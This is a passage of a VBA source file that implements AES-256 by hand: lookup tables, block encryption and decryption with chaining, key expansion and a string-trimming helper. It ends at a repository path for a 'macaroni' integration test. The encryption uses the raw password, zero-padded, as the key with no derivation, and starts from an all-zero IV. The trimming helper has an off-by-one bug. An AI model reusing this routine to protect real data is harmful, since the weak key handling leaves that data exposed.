1167 | &H30, &H33, &H36, &H35, &H3C, &H3F, &H3A, &H39, &H28, &H2B, &H2E, &H2D, &H24, &H27, &H22, &H21, _
1168 | &H60, &H63, &H66, &H65, &H6C, &H6F, &H6A, &H69, &H78, &H7B, &H7E, &H7D, &H74, &H77, &H72, &H71, _
1169 | &H50, &H53, &H56, &H55, &H5C, &H5F, &H5A, &H59, &H48, &H4B, &H4E, &H4D, &H44, &H47, &H42, &H41, _
1170 | &HC0, &HC3, &HC6, &HC5, &HCC, &HCF, &HCA, &HC9, &HD8, &HDB, &HDE, &HDD, &HD4, &HD7, &HD2, &HD1, _
1171 | &HF0, &HF3, &HF6, &HF5, &HFC, &HFF, &HFA, &HF9, &HE8, &HEB, &HEE, &HED, &HE4, &HE7, &HE2, &HE1, _
1172 | &HA0, &HA3, &HA6, &HA5, &HAC, &HAF, &HAA, &HA9, &HB8, &HBB, &HBE, &HBD, &HB4, &HB7, &HB2, &HB1, _
1173 | &H90, &H93, &H96, &H95, &H9C, &H9F, &H9A, &H99, &H88, &H8B, &H8E, &H8D, &H84, &H87, &H82, &H81, _
1174 | &H9B, &H98, &H9D, &H9E, &H97, &H94, &H91, &H92, &H83, &H80, &H85, &H86, &H8F, &H8C, &H89, &H8A, _
1175 | &HAB, &HA8, &HAD, &HAE, &HA7, &HA4, &HA1, &HA2, &HB3, &HB0, &HB5, &HB6, &HBF, &HBC, &HB9, &HBA, _
1176 | &HFB, &HF8, &HFD, &HFE, &HF7, &HF4, &HF1, &HF2, &HE3, &HE0, &HE5, &HE6, &HEF, &HEC, &HE9, &HEA, _
1177 | &HCB, &HC8, &HCD, &HCE, &HC7, &HC4, &HC1, &HC2, &HD3, &HD0, &HD5, &HD6, &HDF, &HDC, &HD9, &HDA, _
1178 | &H5B, &H58, &H5D, &H5E, &H57, &H54, &H51, &H52, &H43, &H40, &H45, &H46, &H4F, &H4C, &H49, &H4A, _
1179 | &H6B, &H68, &H6D, &H6E, &H67, &H64, &H61, &H62, &H73, &H70, &H75, &H76, &H7F, &H7C, &H79, &H7A, _
1180 | &H3B, &H38, &H3D, &H3E, &H37, &H34, &H31, &H32, &H23, &H20, &H25, &H26, &H2F, &H2C, &H29, &H2A, _
1181 | &HB, &H8, &HD, &HE, &H7, &H4, &H1, &H2, &H13, &H10, &H15, &H16, &H1F, &H1C, &H19, &H1A)
1182 |
1183 | g9 = Array( _
1184 | &H0, &H9, &H12, &H1B, &H24, &H2D, &H36, &H3F, &H48, &H41, &H5A, &H53, &H6C, &H65, &H7E, &H77, _
1185 | &H90, &H99, &H82, &H8B, &HB4, &HBD, &HA6, &HAF, &HD8, &HD1, &HCA, &HC3, &HFC, &HF5, &HEE, &HE7, _
1186 | &H3B, &H32, &H29, &H20, &H1F, &H16, &HD, &H4, &H73, &H7A, &H61, &H68, &H57, &H5E, &H45, &H4C, _
1187 | &HAB, &HA2, &HB9, &HB0, &H8F, &H86, &H9D, &H94, &HE3, &HEA, &HF1, &HF8, &HC7, &HCE, &HD5, &HDC, _
1188 | &H76, &H7F, &H64, &H6D, &H52, &H5B, &H40, &H49, &H3E, &H37, &H2C, &H25, &H1A, &H13, &H8, &H1, _
1189 | &HE6, &HEF, &HF4, &HFD, &HC2, &HCB, &HD0, &HD9, &HAE, &HA7, &HBC, &HB5, &H8A, &H83, &H98, &H91, _
1190 | &H4D, &H44, &H5F, &H56, &H69, &H60, &H7B, &H72, &H5, &HC, &H17, &H1E, &H21, &H28, &H33, &H3A, _
1191 | &HDD, &HD4, &HCF, &HC6, &HF9, &HF0, &HEB, &HE2, &H95, &H9C, &H87, &H8E, &HB1, &HB8, &HA3, &HAA, _
1192 | &HEC, &HE5, &HFE, &HF7, &HC8, &HC1, &HDA, &HD3, &HA4, &HAD, &HB6, &HBF, &H80, &H89, &H92, &H9B, _
1193 | &H7C, &H75, &H6E, &H67, &H58, &H51, &H4A, &H43, &H34, &H3D, &H26, &H2F, &H10, &H19, &H2, &HB, _
1194 | &HD7, &HDE, &HC5, &HCC, &HF3, &HFA, &HE1, &HE8, &H9F, &H96, &H8D, &H84, &HBB, &HB2, &HA9, &HA0, _
1195 | &H47, &H4E, &H55, &H5C, &H63, &H6A, &H71, &H78, &HF, &H6, &H1D, &H14, &H2B, &H22, &H39, &H30, _
1196 | &H9A, &H93, &H88, &H81, &HBE, &HB7, &HAC, &HA5, &HD2, &HDB, &HC0, &HC9, &HF6, &HFF, &HE4, &HED, _
1197 | &HA, &H3, &H18, &H11, &H2E, &H27, &H3C, &H35, &H42, &H4B, &H50, &H59, &H66, &H6F, &H74, &H7D, _
1198 | &HA1, &HA8, &HB3, &HBA, &H85, &H8C, &H97, &H9E, &HE9, &HE0, &HFB, &HF2, &HCD, &HC4, &HDF, &HD6, _
1199 | &H31, &H38, &H23, &H2A, &H15, &H1C, &H7, &HE, &H79, &H70, &H6B, &H62, &H5D, &H54, &H4F, &H46)
1200 |
1201 | g11 = Array( _
1202 | &H0, &HB, &H16, &H1D, &H2C, &H27, &H3A, &H31, &H58, &H53, &H4E, &H45, &H74, &H7F, &H62, &H69, _
1203 | &HB0, &HBB, &HA6, &HAD, &H9C, &H97, &H8A, &H81, &HE8, &HE3, &HFE, &HF5, &HC4, &HCF, &HD2, &HD9, _
1204 | &H7B, &H70, &H6D, &H66, &H57, &H5C, &H41, &H4A, &H23, &H28, &H35, &H3E, &HF, &H4, &H19, &H12, _
1205 | &HCB, &HC0, &HDD, &HD6, &HE7, &HEC, &HF1, &HFA, &H93, &H98, &H85, &H8E, &HBF, &HB4, &HA9, &HA2, _
1206 | &HF6, &HFD, &HE0, &HEB, &HDA, &HD1, &HCC, &HC7, &HAE, &HA5, &HB8, &HB3, &H82, &H89, &H94, &H9F, _
1207 | &H46, &H4D, &H50, &H5B, &H6A, &H61, &H7C, &H77, &H1E, &H15, &H8, &H3, &H32, &H39, &H24, &H2F, _
1208 | &H8D, &H86, &H9B, &H90, &HA1, &HAA, &HB7, &HBC, &HD5, &HDE, &HC3, &HC8, &HF9, &HF2, &HEF, &HE4, _
1209 | &H3D, &H36, &H2B, &H20, &H11, &H1A, &H7, &HC, &H65, &H6E, &H73, &H78, &H49, &H42, &H5F, &H54, _
1210 | &HF7, &HFC, &HE1, &HEA, &HDB, &HD0, &HCD, &HC6, &HAF, &HA4, &HB9, &HB2, &H83, &H88, &H95, &H9E, _
1211 | &H47, &H4C, &H51, &H5A, &H6B, &H60, &H7D, &H76, &H1F, &H14, &H9, &H2, &H33, &H38, &H25, &H2E, _
1212 | &H8C, &H87, &H9A, &H91, &HA0, &HAB, &HB6, &HBD, &HD4, &HDF, &HC2, &HC9, &HF8, &HF3, &HEE, &HE5, _
1213 | &H3C, &H37, &H2A, &H21, &H10, &H1B, &H6, &HD, &H64, &H6F, &H72, &H79, &H48, &H43, &H5E, &H55, _
1214 | &H1, &HA, &H17, &H1C, &H2D, &H26, &H3B, &H30, &H59, &H52, &H4F, &H44, &H75, &H7E, &H63, &H68, _
1215 | &HB1, &HBA, &HA7, &HAC, &H9D, &H96, &H8B, &H80, &HE9, &HE2, &HFF, &HF4, &HC5, &HCE, &HD3, &HD8, _
1216 | &H7A, &H71, &H6C, &H67, &H56, &H5D, &H40, &H4B, &H22, &H29, &H34, &H3F, &HE, &H5, &H18, &H13, _
1217 | &HCA, &HC1, &HDC, &HD7, &HE6, &HED, &HF0, &HFB, &H92, &H99, &H84, &H8F, &HBE, &HB5, &HA8, &HA3)
1218 |
1219 | g13 = Array( _
1220 | &H0, &HD, &H1A, &H17, &H34, &H39, &H2E, &H23, &H68, &H65, &H72, &H7F, &H5C, &H51, &H46, &H4B, _
1221 | &HD0, &HDD, &HCA, &HC7, &HE4, &HE9, &HFE, &HF3, &HB8, &HB5, &HA2, &HAF, &H8C, &H81, &H96, &H9B, _
1222 | &HBB, &HB6, &HA1, &HAC, &H8F, &H82, &H95, &H98, &HD3, &HDE, &HC9, &HC4, &HE7, &HEA, &HFD, &HF0, _
1223 | &H6B, &H66, &H71, &H7C, &H5F, &H52, &H45, &H48, &H3, &HE, &H19, &H14, &H37, &H3A, &H2D, &H20, _
1224 | &H6D, &H60, &H77, &H7A, &H59, &H54, &H43, &H4E, &H5, &H8, &H1F, &H12, &H31, &H3C, &H2B, &H26, _
1225 | &HBD, &HB0, &HA7, &HAA, &H89, &H84, &H93, &H9E, &HD5, &HD8, &HCF, &HC2, &HE1, &HEC, &HFB, &HF6, _
1226 | &HD6, &HDB, &HCC, &HC1, &HE2, &HEF, &HF8, &HF5, &HBE, &HB3, &HA4, &HA9, &H8A, &H87, &H90, &H9D, _
1227 | &H6, &HB, &H1C, &H11, &H32, &H3F, &H28, &H25, &H6E, &H63, &H74, &H79, &H5A, &H57, &H40, &H4D, _
1228 | &HDA, &HD7, &HC0, &HCD, &HEE, &HE3, &HF4, &HF9, &HB2, &HBF, &HA8, &HA5, &H86, &H8B, &H9C, &H91, _
1229 | &HA, &H7, &H10, &H1D, &H3E, &H33, &H24, &H29, &H62, &H6F, &H78, &H75, &H56, &H5B, &H4C, &H41, _
1230 | &H61, &H6C, &H7B, &H76, &H55, &H58, &H4F, &H42, &H9, &H4, &H13, &H1E, &H3D, &H30, &H27, &H2A, _
1231 | &HB1, &HBC, &HAB, &HA6, &H85, &H88, &H9F, &H92, &HD9, &HD4, &HC3, &HCE, &HED, &HE0, &HF7, &HFA, _
1232 | &HB7, &HBA, &HAD, &HA0, &H83, &H8E, &H99, &H94, &HDF, &HD2, &HC5, &HC8, &HEB, &HE6, &HF1, &HFC, _
1233 | &H67, &H6A, &H7D, &H70, &H53, &H5E, &H49, &H44, &HF, &H2, &H15, &H18, &H3B, &H36, &H21, &H2C, _
1234 | &HC, &H1, &H16, &H1B, &H38, &H35, &H22, &H2F, &H64, &H69, &H7E, &H73, &H50, &H5D, &H4A, &H47, _
1235 | &HDC, &HD1, &HC6, &HCB, &HE8, &HE5, &HF2, &HFF, &HB4, &HB9, &HAE, &HA3, &H80, &H8D, &H9A, &H97)
1236 |
1237 | g14 = Array( _
1238 | &H0, &HE, &H1C, &H12, &H38, &H36, &H24, &H2A, &H70, &H7E, &H6C, &H62, &H48, &H46, &H54, &H5A, _
1239 | &HE0, &HEE, &HFC, &HF2, &HD8, &HD6, &HC4, &HCA, &H90, &H9E, &H8C, &H82, &HA8, &HA6, &HB4, &HBA, _
1240 | &HDB, &HD5, &HC7, &HC9, &HE3, &HED, &HFF, &HF1, &HAB, &HA5, &HB7, &HB9, &H93, &H9D, &H8F, &H81, _
1241 | &H3B, &H35, &H27, &H29, &H3, &HD, &H1F, &H11, &H4B, &H45, &H57, &H59, &H73, &H7D, &H6F, &H61, _
1242 | &HAD, &HA3, &HB1, &HBF, &H95, &H9B, &H89, &H87, &HDD, &HD3, &HC1, &HCF, &HE5, &HEB, &HF9, &HF7, _
1243 | &H4D, &H43, &H51, &H5F, &H75, &H7B, &H69, &H67, &H3D, &H33, &H21, &H2F, &H5, &HB, &H19, &H17, _
1244 | &H76, &H78, &H6A, &H64, &H4E, &H40, &H52, &H5C, &H6, &H8, &H1A, &H14, &H3E, &H30, &H22, &H2C, _
1245 | &H96, &H98, &H8A, &H84, &HAE, &HA0, &HB2, &HBC, &HE6, &HE8, &HFA, &HF4, &HDE, &HD0, &HC2, &HCC, _
1246 | &H41, &H4F, &H5D, &H53, &H79, &H77, &H65, &H6B, &H31, &H3F, &H2D, &H23, &H9, &H7, &H15, &H1B, _
1247 | &HA1, &HAF, &HBD, &HB3, &H99, &H97, &H85, &H8B, &HD1, &HDF, &HCD, &HC3, &HE9, &HE7, &HF5, &HFB, _
1248 | &H9A, &H94, &H86, &H88, &HA2, &HAC, &HBE, &HB0, &HEA, &HE4, &HF6, &HF8, &HD2, &HDC, &HCE, &HC0, _
1249 | &H7A, &H74, &H66, &H68, &H42, &H4C, &H5E, &H50, &HA, &H4, &H16, &H18, &H32, &H3C, &H2E, &H20, _
1250 | &HEC, &HE2, &HF0, &HFE, &HD4, &HDA, &HC8, &HC6, &H9C, &H92, &H80, &H8E, &HA4, &HAA, &HB8, &HB6, _
1251 | &HC, &H2, &H10, &H1E, &H34, &H3A, &H28, &H26, &H7C, &H72, &H60, &H6E, &H44, &H4A, &H58, &H56, _
1252 | &H37, &H39, &H2B, &H25, &HF, &H1, &H13, &H1D, &H47, &H49, &H5B, &H55, &H7F, &H71, &H63, &H6D, _
1253 | &HD7, &HD9, &HCB, &HC5, &HEF, &HE1, &HF3, &HFD, &HA7, &HA9, &HBB, &HB5, &H9F, &H91, &H83, &H8D)
1254 |
1255 | sbox = Array( _
1256 | &H63, &H7C, &H77, &H7B, &HF2, &H6B, &H6F, &HC5, &H30, &H1, &H67, &H2B, &HFE, &HD7, &HAB, &H76, _
1257 | &HCA, &H82, &HC9, &H7D, &HFA, &H59, &H47, &HF0, &HAD, &HD4, &HA2, &HAF, &H9C, &HA4, &H72, &HC0, _
1258 | &HB7, &HFD, &H93, &H26, &H36, &H3F, &HF7, &HCC, &H34, &HA5, &HE5, &HF1, &H71, &HD8, &H31, &H15, _
1259 | &H4, &HC7, &H23, &HC3, &H18, &H96, &H5, &H9A, &H7, &H12, &H80, &HE2, &HEB, &H27, &HB2, &H75, _
1260 | &H9, &H83, &H2C, &H1A, &H1B, &H6E, &H5A, &HA0, &H52, &H3B, &HD6, &HB3, &H29, &HE3, &H2F, &H84, _
1261 | &H53, &HD1, &H0, &HED, &H20, &HFC, &HB1, &H5B, &H6A, &HCB, &HBE, &H39, &H4A, &H4C, &H58, &HCF, _
1262 | &HD0, &HEF, &HAA, &HFB, &H43, &H4D, &H33, &H85, &H45, &HF9, &H2, &H7F, &H50, &H3C, &H9F, &HA8, _
1263 | &H51, &HA3, &H40, &H8F, &H92, &H9D, &H38, &HF5, &HBC, &HB6, &HDA, &H21, &H10, &HFF, &HF3, &HD2, _
1264 | &HCD, &HC, &H13, &HEC, &H5F, &H97, &H44, &H17, &HC4, &HA7, &H7E, &H3D, &H64, &H5D, &H19, &H73, _
1265 | &H60, &H81, &H4F, &HDC, &H22, &H2A, &H90, &H88, &H46, &HEE, &HB8, &H14, &HDE, &H5E, &HB, &HDB, _
1266 | &HE0, &H32, &H3A, &HA, &H49, &H6, &H24, &H5C, &HC2, &HD3, &HAC, &H62, &H91, &H95, &HE4, &H79, _
1267 | &HE7, &HC8, &H37, &H6D, &H8D, &HD5, &H4E, &HA9, &H6C, &H56, &HF4, &HEA, &H65, &H7A, &HAE, &H8, _
1268 | &HBA, &H78, &H25, &H2E, &H1C, &HA6, &HB4, &HC6, &HE8, &HDD, &H74, &H1F, &H4B, &HBD, &H8B, &H8A, _
1269 | &H70, &H3E, &HB5, &H66, &H48, &H3, &HF6, &HE, &H61, &H35, &H57, &HB9, &H86, &HC1, &H1D, &H9E, _
1270 | &HE1, &HF8, &H98, &H11, &H69, &HD9, &H8E, &H94, &H9B, &H1E, &H87, &HE9, &HCE, &H55, &H28, &HDF, _
1271 | &H8C, &HA1, &H89, &HD, &HBF, &HE6, &H42, &H68, &H41, &H99, &H2D, &HF, &HB0, &H54, &HBB, &H16)
1272 |
1273 | sboxinv = Array( _
1274 | &H52, &H9, &H6A, &HD5, &H30, &H36, &HA5, &H38, &HBF, &H40, &HA3, &H9E, &H81, &HF3, &HD7, &HFB, _
1275 | &H7C, &HE3, &H39, &H82, &H9B, &H2F, &HFF, &H87, &H34, &H8E, &H43, &H44, &HC4, &HDE, &HE9, &HCB, _
1276 | &H54, &H7B, &H94, &H32, &HA6, &HC2, &H23, &H3D, &HEE, &H4C, &H95, &HB, &H42, &HFA, &HC3, &H4E, _
1277 | &H8, &H2E, &HA1, &H66, &H28, &HD9, &H24, &HB2, &H76, &H5B, &HA2, &H49, &H6D, &H8B, &HD1, &H25, _
1278 | &H72, &HF8, &HF6, &H64, &H86, &H68, &H98, &H16, &HD4, &HA4, &H5C, &HCC, &H5D, &H65, &HB6, &H92, _
1279 | &H6C, &H70, &H48, &H50, &HFD, &HED, &HB9, &HDA, &H5E, &H15, &H46, &H57, &HA7, &H8D, &H9D, &H84, _
1280 | &H90, &HD8, &HAB, &H0, &H8C, &HBC, &HD3, &HA, &HF7, &HE4, &H58, &H5, &HB8, &HB3, &H45, &H6, _
1281 | &HD0, &H2C, &H1E, &H8F, &HCA, &H3F, &HF, &H2, &HC1, &HAF, &HBD, &H3, &H1, &H13, &H8A, &H6B, _
1282 | &H3A, &H91, &H11, &H41, &H4F, &H67, &HDC, &HEA, &H97, &HF2, &HCF, &HCE, &HF0, &HB4, &HE6, &H73, _
1283 | &H96, &HAC, &H74, &H22, &HE7, &HAD, &H35, &H85, &HE2, &HF9, &H37, &HE8, &H1C, &H75, &HDF, &H6E, _
1284 | &H47, &HF1, &H1A, &H71, &H1D, &H29, &HC5, &H89, &H6F, &HB7, &H62, &HE, &HAA, &H18, &HBE, &H1B, _
1285 | &HFC, &H56, &H3E, &H4B, &HC6, &HD2, &H79, &H20, &H9A, &HDB, &HC0, &HFE, &H78, &HCD, &H5A, &HF4, _
1286 | &H1F, &HDD, &HA8, &H33, &H88, &H7, &HC7, &H31, &HB1, &H12, &H10, &H59, &H27, &H80, &HEC, &H5F, _
1287 | &H60, &H51, &H7F, &HA9, &H19, &HB5, &H4A, &HD, &H2D, &HE5, &H7A, &H9F, &H93, &HC9, &H9C, &HEF, _
1288 | &HA0, &HE0, &H3B, &H4D, &HAE, &H2A, &HF5, &HB0, &HC8, &HEB, &HBB, &H3C, &H83, &H53, &H99, &H61, _
1289 | &H17, &H2B, &H4, &H7E, &HBA, &H77, &HD6, &H26, &HE1, &H69, &H14, &H63, &H55, &H21, &HC, &H7D)
1290 |
1291 | rcon = Array( _
1292 | &H8D, &H1, &H2, &H4, &H8, &H10, &H20, &H40, &H80, &H1B, &H36, &H6C, &HD8, &HAB, &H4D, &H9A, _
1293 | &H2F, &H5E, &HBC, &H63, &HC6, &H97, &H35, &H6A, &HD4, &HB3, &H7D, &HFA, &HEF, &HC5, &H91, &H39, _
1294 | &H72, &HE4, &HD3, &HBD, &H61, &HC2, &H9F, &H25, &H4A, &H94, &H33, &H66, &HCC, &H83, &H1D, &H3A, _
1295 | &H74, &HE8, &HCB, &H8D, &H1, &H2, &H4, &H8, &H10, &H20, &H40, &H80, &H1B, &H36, &H6C, &HD8, _
1296 | &HAB, &H4D, &H9A, &H2F, &H5E, &HBC, &H63, &HC6, &H97, &H35, &H6A, &HD4, &HB3, &H7D, &HFA, &HEF, _
1297 | &HC5, &H91, &H39, &H72, &HE4, &HD3, &HBD, &H61, &HC2, &H9F, &H25, &H4A, &H94, &H33, &H66, &HCC, _
1298 | &H83, &H1D, &H3A, &H74, &HE8, &HCB, &H8D, &H1, &H2, &H4, &H8, &H10, &H20, &H40, &H80, &H1B, _
1299 | &H36, &H6C, &HD8, &HAB, &H4D, &H9A, &H2F, &H5E, &HBC, &H63, &HC6, &H97, &H35, &H6A, &HD4, &HB3, _
1300 | &H7D, &HFA, &HEF, &HC5, &H91, &H39, &H72, &HE4, &HD3, &HBD, &H61, &HC2, &H9F, &H25, &H4A, &H94, _
1301 | &H33, &H66, &HCC, &H83, &H1D, &H3A, &H74, &HE8, &HCB, &H8D, &H1, &H2, &H4, &H8, &H10, &H20, _
1302 | &H40, &H80, &H1B, &H36, &H6C, &HD8, &HAB, &H4D, &H9A, &H2F, &H5E, &HBC, &H63, &HC6, &H97, &H35, _
1303 | &H6A, &HD4, &HB3, &H7D, &HFA, &HEF, &HC5, &H91, &H39, &H72, &HE4, &HD3, &HBD, &H61, &HC2, &H9F, _
1304 | &H25, &H4A, &H94, &H33, &H66, &HCC, &H83, &H1D, &H3A, &H74, &HE8, &HCB, &H8D, &H1, &H2, &H4, _
1305 | &H8, &H10, &H20, &H40, &H80, &H1B, &H36, &H6C, &HD8, &HAB, &H4D, &H9A, &H2F, &H5E, &HBC, &H63, _
1306 | &HC6, &H97, &H35, &H6A, &HD4, &HB3, &H7D, &HFA, &HEF, &HC5, &H91, &H39, &H72, &HE4, &HD3, &HBD, _
1307 | &H61, &HC2, &H9F, &H25, &H4A, &H94, &H33, &H66, &HCC, &H83, &H1D, &H3A, &H74, &HE8, &HCB)
1308 |
1309 | Dim expandedKey, block(16), aesKey(32), i, isDone, j
1310 | Dim sPlain, sPass, sCipher, sTemp, nonce(16), priorCipher(16)
1311 | Dim x, r, y, temp(4), intTemp
1312 |
1313 | For i = 0 To 15
1314 | nonce(i) = 0
1315 | Next
1316 |
1317 | For i = 0 To (Len(sPassword) - 1)
1318 | aesKey(i) = Asc(Mid(sPassword, i + 1, 1))
1319 | Next
1320 |
1321 | For i = Len(sPassword) To 31
1322 | aesKey(i) = 0
1323 | Next
1324 |
1325 | expandedKey = expandKey(aesKey, sbox, rcon)
1326 |
1327 | sPlain = sMessage
1328 | sCipher = ""
1329 | j = 0
1330 | isDone = False
1331 |
1332 | Do Until isDone
1333 | sTemp = Mid(sPlain, j * 16 + 1, 16)
1334 |
1335 | If Len(sTemp) < 16 Then
1336 | For i = Len(sTemp) To 15
1337 | sTemp = sTemp & Chr(0)
1338 | Next
1339 | End If
1340 |
1341 | For i = 0 To 15
1342 | block(i) = Asc(Mid(sTemp, (i Mod 4) * 4 + (i \ 4) + 1, 1))
1343 | Next
1344 |
1345 | If (j + 1) * 16 >= Len(sPlain) Then
1346 | isDone = True
1347 | End If
1348 |
1349 | j = j + 1
1350 |
1351 | If isEncode Then
1352 | r = 0
1353 | For i = 0 To 15
1354 | block(i) = block(i) Xor nonce(i) Xor expandedKey((i Mod 4) * 4 + (i \ 4))
1355 | Next
1356 |
1357 | For x = 1 To 13
1358 | block(0) = sbox(block(0))
1359 | block(1) = sbox(block(1))
1360 | block(2) = sbox(block(2))
1361 | block(3) = sbox(block(3))
1362 |
1363 | intTemp = sbox(block(4))
1364 | block(4) = sbox(block(5))
1365 | block(5) = sbox(block(6))
1366 | block(6) = sbox(block(7))
1367 | block(7) = intTemp
1368 |
1369 | intTemp = sbox(block(8))
1370 | block(8) = sbox(block(10))
1371 | block(10) = intTemp
1372 | intTemp = sbox(block(9))
1373 | block(9) = sbox(block(11))
1374 | block(11) = intTemp
1375 |
1376 | intTemp = sbox(block(12))
1377 | block(12) = sbox(block(15))
1378 | block(15) = sbox(block(14))
1379 | block(14) = sbox(block(13))
1380 | block(13) = intTemp
1381 |
1382 | r = x * 16
1383 | For i = 0 To 3
1384 | temp(0) = block(i)
1385 | temp(1) = block(i + 4)
1386 | temp(2) = block(i + 8)
1387 | temp(3) = block(i + 12)
1388 |
1389 | block(i) = g2(temp(0)) Xor temp(3) Xor temp(2) Xor g3(temp(1)) Xor expandedKey(r + i * 4)
1390 | block(i + 4) = g2(temp(1)) Xor temp(0) Xor temp(3) Xor g3(temp(2)) Xor expandedKey(r + i * 4 + 1)
1391 | block(i + 8) = g2(temp(2)) Xor temp(1) Xor temp(0) Xor g3(temp(3)) Xor expandedKey(r + i * 4 + 2)
1392 | block(i + 12) = g2(temp(3)) Xor temp(2) Xor temp(1) Xor g3(temp(0)) Xor expandedKey(r + i * 4 + 3)
1393 | Next
1394 | Next
1395 |
1396 | block(0) = sbox(block(0)) Xor expandedKey(224)
1397 | block(1) = sbox(block(1)) Xor expandedKey(228)
1398 | block(2) = sbox(block(2)) Xor expandedKey(232)
1399 | block(3) = sbox(block(3)) Xor expandedKey(236)
1400 |
1401 | intTemp = sbox(block(4)) Xor expandedKey(237)
1402 | block(4) = sbox(block(5)) Xor expandedKey(225)
1403 | block(5) = sbox(block(6)) Xor expandedKey(229)
1404 | block(6) = sbox(block(7)) Xor expandedKey(233)
1405 | block(7) = intTemp
1406 |
1407 | intTemp = sbox(block(8)) Xor expandedKey(234)
1408 | block(8) = sbox(block(10)) Xor expandedKey(226)
1409 | block(10) = intTemp
1410 | intTemp = sbox(block(9)) Xor expandedKey(238)
1411 | block(9) = sbox(block(11)) Xor expandedKey(230)
1412 | block(11) = intTemp
1413 |
1414 | intTemp = sbox(block(12)) Xor expandedKey(231)
1415 | block(12) = sbox(block(15)) Xor expandedKey(227)
1416 | block(15) = sbox(block(14)) Xor expandedKey(239)
1417 | block(14) = sbox(block(13)) Xor expandedKey(235)
1418 | block(13) = intTemp
1419 |
1420 | For i = 0 To 15
1421 | nonce(i) = block(i)
1422 | Next
1423 | Else
1424 | For i = 0 To 15
1425 | priorCipher(i) = block(i)
1426 | Next
1427 |
1428 | block(0) = sboxinv(block(0) Xor expandedKey(224))
1429 | block(1) = sboxinv(block(1) Xor expandedKey(228))
1430 | block(2) = sboxinv(block(2) Xor expandedKey(232))
1431 | block(3) = sboxinv(block(3) Xor expandedKey(236))
1432 |
1433 | intTemp = sboxinv(block(4) Xor expandedKey(225))
1434 | block(4) = sboxinv(block(7) Xor expandedKey(237))
1435 | block(7) = sboxinv(block(6) Xor expandedKey(233))
1436 | block(6) = sboxinv(block(5) Xor expandedKey(229))
1437 | block(5) = intTemp
1438 |
1439 | intTemp = sboxinv(block(8) Xor expandedKey(226))
1440 | block(8) = sboxinv(block(10) Xor expandedKey(234))
1441 | block(10) = intTemp
1442 | intTemp = sboxinv(block(9) Xor expandedKey(230))
1443 | block(9) = sboxinv(block(11) Xor expandedKey(238))
1444 | block(11) = intTemp
1445 |
1446 | intTemp = sboxinv(block(12) Xor expandedKey(227))
1447 | block(12) = sboxinv(block(13) Xor expandedKey(231))
1448 | block(13) = sboxinv(block(14) Xor expandedKey(235))
1449 | block(14) = sboxinv(block(15) Xor expandedKey(239))
1450 | block(15) = intTemp
1451 |
1452 | For x = 13 To 1 Step -1
1453 | r = x * 16
1454 |
1455 | For i = 0 To 3
1456 | temp(0) = block(i) Xor expandedKey(r + i * 4)
1457 | temp(1) = block(i + 4) Xor expandedKey(r + i * 4 + 1)
1458 | temp(2) = block(i + 8) Xor expandedKey(r + i * 4 + 2)
1459 | temp(3) = block(i + 12) Xor expandedKey(r + i * 4 + 3)
1460 |
1461 | block(i) = g14(temp(0)) Xor g9(temp(3)) Xor g13(temp(2)) Xor g11(temp(1))
1462 | block(i + 4) = g14(temp(1)) Xor g9(temp(0)) Xor g13(temp(3)) Xor g11(temp(2))
1463 | block(i + 8) = g14(temp(2)) Xor g9(temp(1)) Xor g13(temp(0)) Xor g11(temp(3))
1464 | block(i + 12) = g14(temp(3)) Xor g9(temp(2)) Xor g13(temp(1)) Xor g11(temp(0))
1465 | Next
1466 |
1467 | block(0) = sboxinv(block(0))
1468 | block(1) = sboxinv(block(1))
1469 | block(2) = sboxinv(block(2))
1470 | block(3) = sboxinv(block(3))
1471 |
1472 | intTemp = sboxinv(block(4))
1473 | block(4) = sboxinv(block(7))
1474 | block(7) = sboxinv(block(6))
1475 | block(6) = sboxinv(block(5))
1476 | block(5) = intTemp
1477 |
1478 | intTemp = sboxinv(block(8))
1479 | block(8) = sboxinv(block(10))
1480 | block(10) = intTemp
1481 | intTemp = sboxinv(block(9))
1482 | block(9) = sboxinv(block(11))
1483 | block(11) = intTemp
1484 |
1485 | intTemp = sboxinv(block(12))
1486 | block(12) = sboxinv(block(13))
1487 | block(13) = sboxinv(block(14))
1488 | block(14) = sboxinv(block(15))
1489 | block(15) = intTemp
1490 | Next
1491 |
1492 | r = 0
1493 | For i = 0 To 15
1494 | block(i) = block(i) Xor expandedKey((i Mod 4) * 4 + (i \ 4)) Xor nonce(i)
1495 | nonce(i) = priorCipher(i)
1496 | Next
1497 | End If
1498 |
1499 | For i = 0 To 15
1500 | sCipher = sCipher & Chr(block((i Mod 4) * 4 + (i \ 4)))
1501 | Next
1502 | Loop
1503 |
1504 | AES = sCipher
1505 | End Function
1506 |
1507 | Function keyScheduleCore(ByRef row(), ByVal a, ByRef sbox(), ByRef rcon())
1508 | Dim result(4), i
1509 |
1510 | For i = 0 To 3
1511 | result(i) = sbox(row((i + 5) Mod 4))
1512 | Next
1513 |
1514 | result(0) = result(0) Xor rcon(a)
1515 | keyScheduleCore = result
1516 | End Function
1517 |
1518 | Function expandKey(ByRef key(), ByRef sbox(), ByRef rcon())
1519 | Dim rConIter, temp(), i, result(240)
1520 |
1521 | ReDim temp(4)
1522 | rConIter = 1
1523 |
1524 | For i = 0 To 31
1525 | result(i) = key(i)
1526 | Next
1527 |
1528 | For i = 32 To 239 Step 4
1529 | temp(0) = result(i - 4)
1530 | temp(1) = result(i - 3)
1531 | temp(2) = result(i - 2)
1532 | temp(3) = result(i - 1)
1533 |
1534 | If i Mod 32 = 0 Then
1535 | temp = keyScheduleCore(temp, rConIter, sbox, rcon)
1536 | rConIter = rConIter + 1
1537 | End If
1538 |
1539 | If i Mod 32 = 16 Then
1540 | temp(0) = sbox(temp(0))
1541 | temp(1) = sbox(temp(1))
1542 | temp(2) = sbox(temp(2))
1543 | temp(3) = sbox(temp(3))
1544 | End If
1545 |
1546 | result(i) = result(i - 32) Xor temp(0)
1547 | result(i + 1) = result(i - 31) Xor temp(1)
1548 | result(i + 2) = result(i - 30) Xor temp(2)
1549 | result(i + 3) = result(i - 29) Xor temp(3)
1550 | Next
1551 |
1552 | expandKey = result
1553 | End Function
1554 |
1555 | ' ###########################################################################################
1556 | ' # Following code trims null (chr(0)) characters from a string
1557 | ' #
1558 | ' # Based on :
1559 | ' # http://stackoverflow.com/a/30760913/5738
1560 | ' ###########################################################################################
1561 |
1562 | Function nTrim2(theString As String) As String
1563 | Dim iPos As Long
1564 | iPos = Len(theString)
1565 | For i = iPos To 0 Step -1
1566 | iPos = i
1567 | If Mid$(theString, i, 1) <> Chr$(0) Then Exit For
1568 | Next
1569 | nTrim2 = Left$(theString, iPos)
1570 | End Function
1571 |
1572 |
--------------------------------------------------------------------------------
/tests/integration/macaroni/macaroni:
--------------------------------------------------------------------------------
